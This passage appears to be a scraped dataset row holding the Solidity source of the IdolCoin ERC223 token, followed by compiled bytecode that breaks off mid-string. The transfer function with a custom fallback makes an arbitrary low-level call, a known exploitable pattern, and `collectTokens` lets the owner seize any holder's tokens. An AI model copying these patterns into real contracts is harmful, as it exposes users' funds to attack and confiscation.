return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
contract IdolCoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "IDOLCOIN";
string public symbol = "IDOL";
uint8 public decimals = 8;
uint256 public totalSupply = 777e8 * 1e8;
bool public mintingFinished = false;
address public founder = 0xf5058208c817f45A22550395361350c6383Ba6Ea;
address public AirDrop = 0x16e733a0A6FbCE852F16e2479B6Fb1F1e2787BDC;
address public LongTerm = 0x51190BdF9CEdA77fF725C24d57050922d884150a;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function IdolCoin() public {
owner = founder;
balanceOf[founder] = totalSupply.mul(70).div(100);
balanceOf[AirDrop] = totalSupply.mul(20).div(100);
balanceOf[LongTerm] = totalSupply.mul(10).div(100);
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
} | 0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016457806306fdde0314610193578063095ea7b31461022357806318160ddd1461028857806323b872dd146102b3578063313ce5671461033857806340c10f19146103695780634d853ee5146103ce57806357f2d7631461042557806364ddc6051461047c57806370a08231146105255780637d64bcb41461057c5780638da5cb5b146105ab578063939c0a6614610602578063945946251461065957806395d89b41146106e15780639dc29fac14610771578063a9059cbb146107be578063b414d4b614610823578063be45fd621461087e578063c341b9f614610929578063cbbe974b1461099b578063dd62ed3e146109f2578063dd92459414610a69578063f0dc417114610b2a578063f2fde38b14610beb578063f6368f8a14610c2e575b600080fd5b34801561017057600080fd5b50610179610d1f565b604051808215151515815260200191505060405180910390f35b34801561019f57600080fd5b506101a8610d32565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e85780820151818401526020810190506101cd565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022f57600080fd5b5061026e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd4565b604051808215151515815260200191505060405180910390f35b34801561029457600080fd5b5061029d610ec6565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed0565b604051808215151515815260200191505060405180910390f35b34801561034457600080fd5b5061034d6113e1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037557600080fd5b506103b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113f8565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e36115ef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043157600080fd5b5061043a611615565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610523600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061163b565b005b34801561053157600080fd5b50610566600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183f565b6040518082815260200191505060405180910390f35b34801561058857600080fd5b50610591611888565b604051808215151515815260200191505060405180910390f35b3480156105b757600080fd5b506105c0611950565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060e57600080fd5b50610617611976565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066557600080fd5b506106c7600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919050505061199c565b604051808215151515815260200191505060405180910390f35b3480156106ed57600080fd5b506106f6611deb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073657808201518184015260208101905061071b565b50505050905090810190601f1680156107635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077d57600080fd5b506107bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e8d565b005b3480156107ca57600080fd5b50610809600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612045565b604051808215151515815260200191505060405180910390f35b34801561082f57600080fd5b50610864600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121d9565b604051808215151515815260200191505060405180910390f35b34801561088a57600080fd5b5061090f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506121f9565b604051808215151515815260200191505060405180910390f35b34801561093557600080fd5b506109996004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080351515906020019092919050505061238a565b005b3480156109a757600080fd5b506109dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061252c565b6040518082815260200191505060405180910390f35b3480156109fe57600080fd5b50610a53600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612544565b6040518082815260200191505060405180910390f35b348015610a7557600080fd5b50610b1060048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506125cb565b604051808215151515815260200191505060405180910390f35b348015610b3657600080fd5b50610bd16004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612ad2565b604051808215151515815260200191505060405180910390f35b348015610bf757600080fd5b50610c2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fa3565b005b348015610c3a57600080fd5b50610d05600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506130fb565b604051808215151515815260200191505060405180910390f35b600660009054906101000a900460ff1681565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dca5780601f10610d9f57610100808354040283529160200191610dca565b820191906000526020600020905b815481529060010190602001808311610dad57829003601f168201915b5050505050905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f0e5750600082115b8015610f59575081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610fe1575081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561103d575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611099575060001515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110e35750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b801561112d5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561113857600080fd5b61118a82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121f82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f182600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145657600080fd5b600660009054906101000a900460ff1615151561147257600080fd5b60008211151561148157600080fd5b611496826005546136bf90919063ffffffff16565b6005819055506114ee82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169957600080fd5b600083511180156116ab575081518351145b15156116b657600080fd5b600090505b825181101561183a5781818151811015156116d257fe5b90602001906020020151600c600085848151811015156116ee57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561173f57600080fd5b818181518110151561174d57fe5b90602001906020020151600c6000858481518110151561176957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811015156117bf57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561180e57fe5b906020019060200201516040518082815260200191505060405180910390a280806001019150506116bb565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e657600080fd5b600660009054906101000a900460ff1615151561190257600080fd5b6001600660006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080841180156119b1575060008551115b8015611a0d575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a575750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611a6257600080fd5b611a796305f5e100856136dd90919063ffffffff16565b9350611a8f8551856136dd90919063ffffffff16565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611adf57600080fd5b600090505b8451811015611d4a5760008582815181101515611afd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015611b92575060001515600b60008784815181101515611b3c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bf35750600c60008683815181101515611bab57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611bfe57600080fd5b611c6784600960008885815181101515611c1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bf90919063ffffffff16565b600960008784815181101515611c7957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611ccf57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050611ae4565b611d9c82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611e835780601f10611e5857610100808354040283529160200191611e83565b820191906000526020600020905b815481529060010190602001808311611e6657829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee957600080fd5b600081118015611f38575080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611f4357600080fd5b611f9581600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136a690919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fed816005546136a690919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600060606000831180156120a9575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015612105575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561214f5750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156121995750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156121a457600080fd5b6121ad84613718565b156121c4576121bd84848361372b565b91506121d2565b6121cf848483613b0a565b91505b5092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000808311801561225a575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156122b6575060001515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156123005750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b801561234a5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561235557600080fd5b61235e84613718565b156123755761236e84848461372b565b9050612383565b612380848484613b0a565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123e857600080fd5b600083511115156123f857600080fd5b600090505b8251811015612527576000838281518110151561241657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561244357600080fd5b81600b6000858481518110151561245657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811015156124bf57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a280806001019150506123fd565b505050565b600c6020528060005260406000206000915090505481565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060008085511180156125e1575083518551145b801561263d575060001515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156126875750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561269257600080fd5b60009150600090505b845181101561285b57600084828151811015156126b457fe5b906020019060200201511180156126f95750600085828151811015156126d657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b801561276c575060001515600b6000878481518110151561271657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156127cd5750600c6000868381518110151561278557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156127d857600080fd5b6128066305f5e10085838151811015156127ee57fe5b906020019060200201516136dd90919063ffffffff16565b848281518110151561281457fe5b906020019060200201818152505061284c848281518110151561283357fe5b90602001906020020151836136bf90919063ffffffff16565b9150808060010191505061269b565b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081